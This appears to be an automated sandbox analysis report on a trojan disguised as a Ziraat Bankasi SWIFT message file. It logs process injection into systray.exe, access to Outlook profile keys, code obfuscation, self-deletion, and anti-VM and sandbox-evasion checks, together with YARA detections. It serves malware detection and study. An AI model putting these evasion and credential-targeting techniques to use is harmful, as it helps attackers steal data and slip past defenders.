          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Windows\SysWOW64\systray.exe C:\Windows\SysWOW64\systray.exeJump to behavior
          Source: C:\Windows\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6C3EE638-B588-4D7D-B30A-E7E36759305D}\InprocServer32Jump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Ziraat Bankasi Swift Mesaji20221129-34221.exe.logJump to behavior
          Source: C:\Windows\SysWOW64\systray.exeFile created: C:\Users\user\AppData\Local\Temp\q3W1-4699Jump to behavior
          Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/2@4/4
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, rvdJXTHHMJjcnIgtsf/J5dcUKfIRNXI7lm7dD.csCryptographic APIs: 'CreateDecryptor'
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, rvdJXTHHMJjcnIgtsf/J5dcUKfIRNXI7lm7dD.csCryptographic APIs: 'CreateDecryptor'
          Source: C:\Windows\explorer.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\explorer.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
          Source: C:\Windows\SysWOW64\systray.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
          Source: Binary string: wntdll.pdbUGP source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000003.323677233.00000000010BA000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000003.450849283.0000000000CEA000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000003.453208658.0000000004434000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000002.562757134.00000000045D0000.00000040.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000002.563719254.00000000046EF000.00000040.00000800.00020000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000003.323677233.00000000010BA000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000003.450849283.0000000000CEA000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000003.453208658.0000000004434000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000002.562757134.00000000045D0000.00000040.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000002.563719254.00000000046EF000.00000040.00000800.00020000.00000000.sdmp
          Source: Binary string: bqbz.pdb source: Ziraat Bankasi Swift Mesaji20221129-34221.exe

          Data Obfuscation

          barindex
          .NET source code contains method to dynamically call methods (often used by packers)
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, rvdJXTHHMJjcnIgtsf/J5dcUKfIRNXI7lm7dD.cs.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05493A68 push eax; retf 2_2_05493A69
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05FEAFB0 push esp; ret 2_2_05FEAFB1
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012CD0D1 push ecx; ret 6_2_012CD0E4
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0042106C push eax; ret 6_2_004210BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004210C2 push eax; ret 6_2_00421129
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004210B9 push eax; ret 6_2_004210BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_00421123 push eax; ret 6_2_00421129
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004059B6 push cs; ret 6_2_004059B7
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0040EA2F push eax; retf 6_2_0040EA37
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0041ABC4 push ss; iretd 6_2_0041ABC5
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0041AD59 push esp; iretd 6_2_0041AD5A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004215D0 push esp; iretd 6_2_004215D2
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_00419D81 push ebx; ret 6_2_00419D82
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_00409EC0 push ds; ret 6_2_00409EC8
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004226F0 push dword ptr [65B62A56h]; ret 6_2_00422711
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_00419F6C push eax; ret 6_2_00419F6D
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004227C2 push es; ret 6_2_004227C3
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004057C5 push FFFFFFB8h; ret 6_2_004057D3
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_00416FCD push ecx; retf 6_2_00416FD1
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: 0xE3C25DA2 [Thu Feb 1 10:59:46 2091 UTC]
          Source: initial sampleStatic PE information: section name: .text entropy: 7.8163399193374055
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, rvdJXTHHMJjcnIgtsf/YXRV9TApsNT67iKaBw.csHigh entropy of concatenated method names: '.ctor', 'uGOSjWMqNH', 'IBUSeSKhj0', 'X0kSZbN7xv', 'nMVSP6QvSa', 'tYCSx7Lt3j', 'nqGSidN1s5', 'AhESKnKTPM', 'XhDS1vn1UD', 'UuUSU6EiRK'
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, rvdJXTHHMJjcnIgtsf/jHvRSISRVtEBKE5hkd.csHigh entropy of concatenated method names: '.ctor', 'rvdHJXTHM', 'rjcSnIgts', 'oyHlvRSIR', 'TtEFBKE5h', 'YdhdWlURT', 'MXxbIEjbu', 'uq6A1227k', 'XSDcWsWCg', 'YyfEteKw6'
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, rvdJXTHHMJjcnIgtsf/oF02kT8jKxIU4FpGsQ.csHigh entropy of concatenated method names: '.ctor', 'j3vlzpxWek', 'gBpFB0lDdx', 'YUeFHVXI8m', 'G1MFSDMhol', 'xLrFlj4f52', 'nsEFFdvqCd', 'D15Fd8nxdi', 'LSTFbPIN6o', 'Fj2FAXAcwt'
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, rvdJXTHHMJjcnIgtsf/cU5CDJYi4Q3OdAemtw.csHigh entropy of concatenated method names: 'svudv70r1h', 'tESdaA9RQk', 'NoEdnQ0rkj', '.ctor', 'kLjw4iIsCLsZtxc4lksN0j', '.cctor', 'wBkaDOpCvpSenq9bIw', 'GLaTO2SeADNRU8BDMm', 'eN9e2th5TMYiSEOxoV', 'EvgPDRlqNgYjkkZXqo'
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, rvdJXTHHMJjcnIgtsf/J5dcUKfIRNXI7lm7dD.csHigh entropy of concatenated method names: '.cctor', 'J8v8c6oAg9DTf', 'h8iFgq2Epl', 'EHlFt9kOdO', 'LDNFRwCmFY', 'fATF592Wvm', 'y9yFTed8Pp', 'g6OFOM2F3k', 'T1xFs7w6U3', 'bKSFIga2hn'

          Hooking and other Techniques for Hiding and Protection

          barindex
          Deletes itself after installation
          Source: C:\Windows\SysWOW64\systray.exeFile deleted: c:\users\user\desktop\ziraat bankasi swift mesaji20221129-34221.exeJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\systray.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\systray.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\systray.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\systray.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\systray.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

          Malware Analysis System Evasion

          barindex
          Yara detected AntiVM3
          Source: Yara matchFile source: 2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.31854c4.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.3169a9c.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000002.00000002.331328236.0000000003337000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: Ziraat Bankasi Swift Mesaji20221129-34221.exe PID: 3176, type: MEMORYSTR
          Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.331328236.0000000003337000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SBIEDLL.DLL
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.331328236.0000000003337000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe TID: 4620Thread sleep time: -38122s >= -30000sJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe TID: 5324Thread sleep time: -922337203685477s >= -30000sJump to behavior
          Source: C:\Windows\explorer.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\systray.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01345BA5 rdtsc 6_2_01345BA5
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeAPI coverage: 8.1 %
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information queried: ProcessInformationJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeThread delayed: delay time: 38122Jump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: explorer.exe, 00000007.00000000.350388254.000000000830B000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
          Source: explorer.exe, 00000007.00000000.383069903.000000000834F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&0000006
          Source: explorer.exe, 00000007.00000000.398658481.00000000059F0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
          Source: explorer.exe, 00000007.00000000.350827572.0000000008394000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmware
          Source: explorer.exe, 00000007.00000000.411917185.000000000CDC8000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: _VMware_SATA_CD00#5&
          Source: explorer.exe, 00000007.00000000.350388254.000000000830B000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000000
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware SVGA II
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01345BA5 rdtsc 6_2_01345BA5
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Windows\SysWOW64\systray.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01294120 mov eax, dword ptr fs:[00000030h]6_2_01294120
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01294120 mov eax, dword ptr fs:[00000030h]6_2_01294120
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01294120 mov eax, dword ptr fs:[00000030h]6_2_01294120
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01294120 mov eax, dword ptr fs:[00000030h]6_2_01294120
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01294120 mov ecx, dword ptr fs:[00000030h]6_2_01294120
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A513A mov eax, dword ptr fs:[00000030h]6_2_012A513A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A513A mov eax, dword ptr fs:[00000030h]6_2_012A513A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01279100 mov eax, dword ptr fs:[00000030h]6_2_01279100
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01279100 mov eax, dword ptr fs:[00000030h]6_2_01279100
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01279100 mov eax, dword ptr fs:[00000030h]6_2_01279100
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127C962 mov eax, dword ptr fs:[00000030h]6_2_0127C962
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127B171 mov eax, dword ptr fs:[00000030h]6_2_0127B171
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127B171 mov eax, dword ptr fs:[00000030h]6_2_0127B171
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129B944 mov eax, dword ptr fs:[00000030h]6_2_0129B944
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129B944 mov eax, dword ptr fs:[00000030h]6_2_0129B944
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F69A6 mov eax, dword ptr fs:[00000030h]6_2_012F69A6
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A61A0 mov eax, dword ptr fs:[00000030h]6_2_012A61A0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A61A0 mov eax, dword ptr fs:[00000030h]6_2_012A61A0
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F51BE mov eax, dword ptr fs:[00000030h]6_2_012F51BE
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F51BE mov eax, dword ptr fs:[00000030h]6_2_012F51BE
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F51BE mov eax, dword ptr fs:[00000030h]6_2_012F51BE
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F51BE mov eax, dword ptr fs:[00000030h]6_2_012F51BE
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov ecx, dword ptr fs:[00000030h]6_2_012999BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov ecx, dword ptr fs:[00000030h]6_2_012999BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov eax, dword ptr fs:[00000030h]6_2_012999BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov ecx, dword ptr fs:[00000030h]6_2_012999BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov ecx, dword ptr fs:[00000030h]6_2_012999BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov eax, dword ptr fs:[00000030h]6_2_012999BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov ecx, dword ptr fs:[00000030h]6_2_012999BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov ecx, dword ptr fs:[00000030h]6_2_012999BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov eax, dword ptr fs:[00000030h]6_2_012999BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov ecx, dword ptr fs:[00000030h]6_2_012999BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov ecx, dword ptr fs:[00000030h]6_2_012999BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov eax, dword ptr fs:[00000030h]6_2_012999BF
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013349A4 mov eax, dword ptr fs:[00000030h]6_2_013349A4
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013349A4 mov eax, dword ptr fs:[00000030h]6_2_013349A4
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013349A4 mov eax, dword ptr fs:[00000030h]6_2_013349A4
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013349A4 mov eax, dword ptr fs:[00000030h]6_2_013349A4
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129C182 mov eax, dword ptr fs:[00000030h]6_2_0129C182
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AA185 mov eax, dword ptr fs:[00000030h]6_2_012AA185
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A2990 mov eax, dword ptr fs:[00000030h]6_2_012A2990
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127B1E1 mov eax, dword ptr fs:[00000030h]6_2_0127B1E1
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127B1E1 mov eax, dword ptr fs:[00000030h]6_2_0127B1E1
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127B1E1 mov eax, dword ptr fs:[00000030h]6_2_0127B1E1
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013041E8 mov eax, dword ptr fs:[00000030h]6_2_013041E8
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128B02A mov eax, dword ptr fs:[00000030h]6_2_0128B02A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128B02A mov eax, dword ptr fs:[00000030h]6_2_0128B02A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128B02A mov eax, dword ptr fs:[00000030h]6_2_0128B02A
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128B02A mov eax, dword ptr fs:[00000030h]6_2_0128B02A
